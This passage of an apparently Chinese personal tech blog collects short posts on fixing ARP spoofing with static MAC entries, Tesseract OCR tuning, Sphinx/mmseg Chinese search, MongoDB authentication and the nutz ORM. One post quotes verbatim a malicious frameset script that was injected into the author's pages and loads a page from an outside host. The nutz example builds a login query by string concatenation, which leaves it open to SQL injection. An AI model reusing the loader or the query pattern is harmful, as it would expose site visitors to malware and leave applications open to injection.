27

四月份碰到过一次,莫名其妙好了,后来又出现几次,机房一直认为是我的机器问题,只好自身解决了。

找到一段脚本,查询到所有内网ip对应的mac地址:

#!/bin/sh
#感谢作者:吴洪声
for ((i = 1; i < 254; i++))
do
arping -I eth0 125.89.79.$i -c 1
done
arp -a > mac_table

打开mac_table文件,替换成ip mac地址的格式。

or执行

arp -a > /etc/ethers,修改为

125.89.79.167 00:15:17:89:BE:DD

写入/etc/ethers文件。

arp -f

在执行arp命令查看:

Address                  HWtype  HWaddress           Flags Mask            Iface
125.89.79.167            ether   00:15:17:89:BE:DD   CM                    eth0

。。。

已经设置为静态的,标志位CM。

再刷新页面,发现那段js已经消失。

07

08年的时候,几个多年没见的老朋友吃酒聊天,有个家伙是做建材行业的,跟我说想跟大家合作个交友网站,在网上可以看到每个用户的状态,比如你去了一家咖啡厅,可以去打卡,然后在网上就会显示你到了哪个咖啡厅,坐在哪个位置。

我觉得不大好操作,他说他可以负责搞条形码刷卡器,免费给咖啡厅使用,后来,就没有下文了,再后来,就出现了个叫foursquare的网站,你去了一个地方,用手机搞一下,你就在网站上checkin了,朋友们会看到你到了啥地方。

22

今天碰上了arp欺骗,服务器出来所有页面被篡改成一段代码,或者说是被挂马了:

<html>
<head>
</head>
<script>
function showme()
{
var CK=document.cookie;
var sa=CK.indexOf(”CK”);
if(sa!=-1){}else{var EP=new Date();
EP.setTime(EP.getTime()+24*60*60*1000);
document.cookie=”CK=test;expires=”+EP.toGMTString();
self.hi.location=”http://sdnvjwf1.info/g.htm”;}
}
</script>
<frameset rows=”100%,*” onLoad=”showme()”>
<frame name=”hello” src=”/index.jsp?UpdatedPage=aGlqYWNr”>
<frame name=”hi” src=””>
</frameset>
</html>

这原理好像跟伟大防火墙类似,就是在你接收或发送的数据中搞点手脚,不同的是,arp欺骗是偷偷的,伟大防火墙是明着来。

这事还得用firefox浏览器才能发现,ff打开这种框架页面,浏览器下方会出现一条黑线,而且标题栏是空的,看起来很诡异。

找机房,机房客服的响应很快:这里一切正常,你还是查查自己服务器吧,要么给你重装服务器?

这种服务。。。我还要介绍其他朋友把服务器摆进去么?

早上一直扯皮到下午,谢总来了,带了些羊蹄,强叔也来了,带了一瓶红酒,于是聊天吃喝。

到了晚上,机器突然死了,机房说他们在处理什么,再起来的时候,页面代码恢复正常了。

我说,你们现在相信我了吧。

客服说,不是的,arp我们也查不到,是电信那边其他公司发过来的,他们的交换机我们没有权限。

看来一家公司的服务器中招,还牵扯到另外一家公司的服务器。

广东电信今年收费高了一倍,安全性却比以前差了,或者说,跟以前一样差。

11

有个人来投诉,说论坛系统显示”页面有非法关键字”,能否注明哪个词是非法关键字呢?在保健品的帖子里,实在是找不到哪个词是非法关键字。请设计师明示,谢谢哈!

我知道这个事,我第一次碰到也莫名其妙,不记得什么地方做过滤关键字,后来想起了华盾,应该是他们干的,虽然因为是64位linux他们没法在我的机器上安装,但是他们可以在网关上过滤。

2008年元旦有人发帖去西门唱K,结果下午警察叔叔就找到他家了。

他们可以不通过管理员,不通过数据库就监控了所有人的发帖纪录,真是天网恢恢疏而不漏。

29

下载:http://code.google.com/p/tesseract-ocr/downloads/list

安装

解包之后老规矩 ./configure ,make最后make install .大功告成。

测试

安装完直接执行tesseract 会出错:Unable to load unicharset file ./tessdata/eng.unicharset

程序抱怨说没能找到语言库,找到tesseract-2.00.eng.tar.gz,下载解压到tessdata目录,

找个jpg试试。

执行:tesseract in.jpg result

提示:Tesseract Open Source OCR Engine
name_to_image_type:Error:Unrecognized image type:in.jpg
IMAGE::read_header:Error:Can’t read this image type:in.jpg
tesseract:Error:Read of file failed:in.jpg

原来是不支持jpg的,汗一个。

用imagemagick转换一下,转换为tif:convert -compress none in.jpg in.tif

必须加上参数-compress none, 默认转换会有压缩,tesseract就会报错:read_tif_image:Error:Illegal image format:Compression

执行结果输出了result.txt

为提高识别率,可以先把图片转换为灰度。即弄黑白的:

convert -compress none  -monochrome in.tif in2.tif

也可以用-colorspace Gray,用这个参数图片质量会更好点。

以下在windows下作了个小测试,100分。

ocr

挑战

Index_Leaving_2010129172018

现在要识别上面图片的数字。

值得注意的是,类似这种数字比较小的,完全识别不到的,做了测试,result为空。

可以先将图片放大,再来识别。

具体操作:

先把图片wget回来,

wget http://www.fangdi.com.cn/GenImages/Index_Leaving_2010129172018.jpg

裁剪掉表头中文部分,并且转换为黑白颜色的tif文件:

convert -compress none -crop 460×140+0+20 -monochrome Index_Leaving_2010129172018.jpg in.tif

这个时候识别率为零的,先做放大,

做放大为200%处理:

convert in.tif -scale 200% in2.tif

出来满天星星(tif文件无法预览):

tiff file download.

识别结果很烂:

__=r-_3333`1-  _.`· ._‘·433_.—2_3’ _“.- Y .°.°_:1$1231 `·_` §-_*.=.`.-`123_.`33·`.  -.`_ *.*.13333 ‘.`· . _‘·- ‘-.`-Q3`33;13 ‘_-` Q- _-`.`_
3313 31. 33 2432 21. B4 3432 33. S9
‘-`_-‘334_2[‘_‘:- -‘.- l_33.-31.·‘.j.-‘- __”- ·_`.13Eg2– ·_‘. ‘-.- ‘..-‘.‘ 1‘1‘_.34‘– _.‘-   -_‘. ‘-.-‘f1333‘3.‘-§-§ -_”-‘. 222‘.{iE1
3313 31.33 1343 12.33 12133 143.33
.f-_-32‘33j”.·_Q-Z·.`-_r4_2.34- _`-_- §·_.‘_-j.-‘33_3.Z· ‘.`”.- l .`.·__`-3.-”23_} “._- ` ..-’ .”".-’.”:123‘-na -1}* ._-‘_ I ·_`-_ 1 -.;33i· _”.·_
2312 33. 40 1333 3. B1 331 23. SB
_–.‘:-2B_E¤3g: ·_.‘   ._‘··_ 34._13_?.·_f-_.‘; .‘·._ {1431 .‘-_‘. Q .-‘_ – -{-:1_2 ‘._- 33-‘.q‘..·j. .`_‘·-_‘ `_1_5D2._ `-__·   -_._·`. 25.-_5f{_:· _-”·_.‘.

对满天星表示不满,换个灰度转换方式:

convert -compress none -crop 460×140+0+20 -colorspace Gray Index_Leaving_2010129172018.jpg in.tif

背景噪点没有了,终于有了点识别率:

33951 455. 25 14231 125. 55 T5595 955. T5
5515 51. 33 2452 21. 54 3432 55. 59
3342 55. 5T 1352 11. 54 15599 222. 45
35T3 51.99 1345 12.55 12159 149.53
3255 42. 54 953 5. 23 T25 T. 35
23T2 35. 45 1555 5. 51 531 23. 55
2553 34. T5 145T 12. 55 1552 25. 54

这种结果不能接受啊,设置放大率为150%测试下,

convert in.tif -scale 150% in2.tif

这一次貌似识别率居然到了100%!

33961 480. 26 14231 126.58 78896 950. 76
5616 81.33 2452 21. 64 3432 56.89
3342 55.87 1362 11.84 18099 222. 46
3673 51. 99 1340 12. 65 12189 149. 03
3200 42. 54 963 8. 23 726 7. 35
2372 36. 40 1060 8. 61 831 23. 86
2663 34. 75 1457 12.88 1502 25.54

Index_Leaving_2010129172018

小小震惊了下。

java

有位同学写了个java调用接口:

http://ykf.javaeye.com/blog/212431

太复杂了,我还是用shell调用罢了。

27

安装

安装并不困难,这几天我反复装了十几次,关键是debian系统会有点奇怪的问题。

mmseg编译错误。解决办法是按编译错误提示,在出错的相关文件加入#include <string.h>。

有src/css/UnigramCorpusReader.cpp 以及 安装完成之后是mmseg/include/mmseg/freelist.h

另外,debian系统安装需要预先安装bison, byacc。

参考:http://www.sunnyu.com/?p=85

乱码

sphinx支持中文,需要把mysql数据库弄成utf8。

我在这里碰到了很奇怪的问题。首先强叔分给的系统是gbk的,在mysql创建utf8的表,set names utf8之后,在终端插入数据是乱码的。

雷师傅给出提示,set names gbk之后进行插入数据,再查出来是正常的。雷师傅这个处理是符合逻辑,系统输入的是gbk编码,所以使用mysql client必须要用gbk。然后mysql自己会根据表的编码转换过去。

不过,我在另外一台数据库,先执行set names utf8,再插入数据,数据也是正常的。看起来好像怎么搞都靠谱,不过差别在于系统编码。执行locale命令,系统如果是

LANG=en_US.UTF-8
LC_CTYPE=”en_US.UTF-8″
LC_NUMERIC=”en_US.UTF-8″
LC_TIME=”en_US.UTF-8″
LC_COLLATE=”en_US.UTF-8″
LC_MONETARY=”en_US.UTF-8″
LC_MESSAGES=”en_US.UTF-8″
LC_PAPER=”en_US.UTF-8″
LC_NAME=”en_US.UTF-8″
LC_ADDRESS=”en_US.UTF-8″
LC_TELEPHONE=”en_US.UTF-8″
LC_MEASUREMENT=”en_US.UTF-8″
LC_IDENTIFICATION=”en_US.UTF-8″
LC_ALL=

这样,mysql client使用utf8就可以了,不需要用gbk输入再转换到utf8。

光这样理解是没问题,执行起来依然不行的,先要把系统弄成utf8

终端也要如此,不然无法输入中文:

utf

我先前使用的secure shell client,终端编码+数据库编码+系统编码,三重忽悠,彻底把我搞晕菜了。

这下把所有编码都整成utf8,sphinx果然能搜索出中文来了。

分词

sphinx不加入词典,也能用,搜索匹配还比较随意,比如“黄师傅”,用“黄师”也能搜到,不过不能用OR去多个词匹配了,系统总是用AND去解决多个条件。

用条件 “广州|澳洲”去检索,系统会拆成每个字,合并起来的结果却不是“广州”和“澳洲”之和。

words:
1. ‘澳’: 4176 documents, 11755 hits
2. ‘洲’: 7609 documents, 10952 hits
3. ‘广’: 42034 documents, 305350 hits
4. ‘州’: 33648 documents, 151677 hits

解决办法还是要生产词典给sphinx。到mmseg的安装目录下的data目录,执行:

mmseg -u unigram.txt

cp unigram.txt.uni /home/sphinx/uni.lib

再修改sphinx的配置加入:

charset_dictpath=/home/sphinx/

重新索引一遍,貌似速度提高一倍。

结果有了变化:

index ‘ptest’: query ‘广州|澳洲 ‘: returned 1000 matches of 13359 total in 0.017 sec

words:
1. ‘广州’: 13336 documents, 28893 hits
2. ‘澳洲’: 25 documents, 29 hits

新词

新词的问题总是要面对的,mmseg自带词库是不能满足实际应用要求,尤其是互联网每天都在不停诞生新的词汇。

修改unigram.txt文件,每个词定义为两行,第一行为词项,其格式为:[词条]\t[词频率],第二行是x:1

我开始被\t忽悠了,以为是个空格,加了几百个新词进去发现无效,换为\t做间隔之后就ok了。

疑点

雷蒙叔的建议,写段java程序用utf8连接去查询看是不是乱码,结果他是对的,client用gbk录入,utf8表里面的数据是正确的。不过,mysql+sphinx的查询却只有英文能用,如果数据编码正确,sphinx索引也应该正确。

我怀疑sphinx索引的时候,虽然在配置里面设置了utf8,还是跟系统编码有关系。

难点

难免要做一些奇怪的应用,比如400个关键字一次扔进去做全文检索。

目前看来,sphinx默认只支持10个关键字的条件。

update:2010.1.29

不过通过修改sphinx-0.9.8-rc2/src/sphinx.h的SPH_MAX_QUERY_WORDS,可以支持更多关键字,我改为500.  这个问题在0.99版本以后貌似是没有了。

另外还有个问题,英文和中文搭配的词,虽然加入了词库,不过测试看来没被承认。

例如:g党

分词出来变成“g” ,“党”了,失望。

update:2010.1.29

这个问题是mmseg引起的,跟sphinx无关,需要修改配置mmseg.ini,指定merge_number_and_ascii=1;

不过这个问题无解,自己安装的sphinx+mmseg找不到mmseg.ini,可以到coreseek官网下载安装coreseek,省却一大堆问题,。

25
测试了下mongodb,蛮好玩,记录查询和删除都比较简单.

查询分页
差点被查询分页难倒了,
幸好后来看到find()方法后面可以继续调用skid方法和limit方法。

建立索引
单条记录查询还是需要建立索引,在终端操作:
mydb.mycollection.ensureIndex({"column", 1});

配置认证
默认方式是启动直接可以使用,没有账号,谁都可以查询。

http://www.mongodb.org/display/DOCS/Security+and+Authentication

按如上链接增加用户,然后重新启动,启动的时候加参数 --auth
关闭数据库
use admin
db.shutdownServer()
重启:./mongod --auth &
现在登录再查询会出现错误了:
error: { "$err" : "unauthorized" }
可以在终端测试,
> db.auth("username","password")
1
再次查,正常了。

private DB db;
 private DBCollection coll;
 public DBCollection getCollection(){
 if(db==null){
 db = m.getDB(&quot;mydb&quot;);
//如果需要认证登录
//boolean auth = db.authenticate(&quot;user&quot;, &quot;pass&quot;.toCharArray());
 }
 if(coll==null){
 coll = db.getCollection(&quot;mycollection&quot;);
 }
 return coll;
 }

public DBObject find(String key,String value){

 DBCollection coll = getCollection();
 BasicDBObject query = new BasicDBObject();
 query.put(key, value);
 DBCursor cur = coll.find(query);
 if(cur.hasNext()){
 return cur.next();
 }
 return null;

 }

public DBCursor list(int page, int len){
 DBCollection coll = getCollection();
 DBCursor cur = coll.find().skip((page-1)*len).limit(len);

 return cur;
 }
12

ubuntu系统,比较折腾

要安装gcc,g++

然后下载mmseg包,编译安装,需要修改cpp文件:

编辑src/css目录下UnigramCorpusReader.cpp 文件,在其第一行加上
#include <string.h>

mmseg安装完毕。

解压sphinx-0.9.9.tar.gz,里面有个mysqlse目录,拷贝到mysql源码目录 mysql-5.1.42/

cp -rf sphinx-0.9.9/mysqlse mysql-5.1.42/storage/

开始编译mysql:

./configure –with-plugins=sphinx –prefix=/home/mysql/

如无意外,会跳个error: No curses/termcap library found错误。

apt-get install libncurses5-dev

安装这个先,继续:

再出现个错误:error: unknown plugin: sphinx

执行

sh BUILD/autorun.sh

继续出错:BUILD/autorun.sh: line 23: aclocal: command not found

需要安装automake,apt-get install automake,apt-get install libtool继续执行:

无错了。

在mysql安装目录check下sphinx插件

./configure -h | grep sphinx

Plugin Name:      sphin

生效了,configure下,Thank you for choosing MySQL!

看来是ok了,make;make install

安装完成.

/home/mysql/bin/mysqldump –user=user –password=pass –default-character-set=gbk mydb > dump.sql
sed  -r ‘s/CHARSET=gbk/CHARSET=utf8/g’ dump.sql > dump_utf.sql
/home/mysql/bin/mysql –user=user –password=pass –execute=”DROP DATABASE mydb;  CREATE DATABASE mandb CHARACTER SET utf8 COLLATE utf8_general_ci;”
/home/mysql/bin/mysql –user=user –password=pass –default-character-set=utf8 mydb < dump_utf.sql

注意几点,debian系统安装需要bison, byacc,再重新configure。

如碰到*** [tokenizer_zhcn.o] 错误 1

mmseg/include/mmseg/freelist.h 加入#include <string.h>

07

nutz是个好玩的东西,不过在之前gkzhong曾经写过一个跟nutz dao很像的orm:http://code.google.com/p/comze/

nutz dao的用法,一目了然,看个hello world就可以了:

http://code.google.com/p/nutz/wiki/dao_hello

不过习惯跟赤裸裸的sql打交道,被封装一把,还是有点不自由,例如:

public User getUserByUsernamePassword(String username,String password){
return dao.fetch(User.class,Cnd.wrap(“username = ‘” + username + “‘ AND password=’”+password+”‘”));
}

比我自己折腾是方便多了。

我在近期的项目上尝试下nutz dao,不过在近期的版本出现个莫名其妙的bug,还是让人不大放心:

java.lang.RuntimeException: Fail to set value for object
[com.test.dao.pojo.Pet]->[petid], because: ‘Can not find castor for
‘java.lang.String’=>’int’ because:
Fail to find matched castor’

错误指出类型转换有错误,找了半天没找到错误。

幸好有达人peter很热心贴出解决办法:

http://groups.google.com/group/nutzam/browse_thread/thread/969fe3fa73559207/fd4041f5acda8133?hl=zh-CN#fd4041f5acda8133

nutz项目地址:http://code.google.com/p/nutz/

推荐下nutz,

优点:设计精良,更新版本目前还是很活跃,在讨论组提问很快有人回答。

缺点:小众化,google上搜索无法获取太多信息,暂时没有很多项目采用nutz,会碰到很多问题需要自己面对。

由于spring mvc足够强悍,nutz ioc和mvc就没去试用了,不发表意见。

04

preload preload preload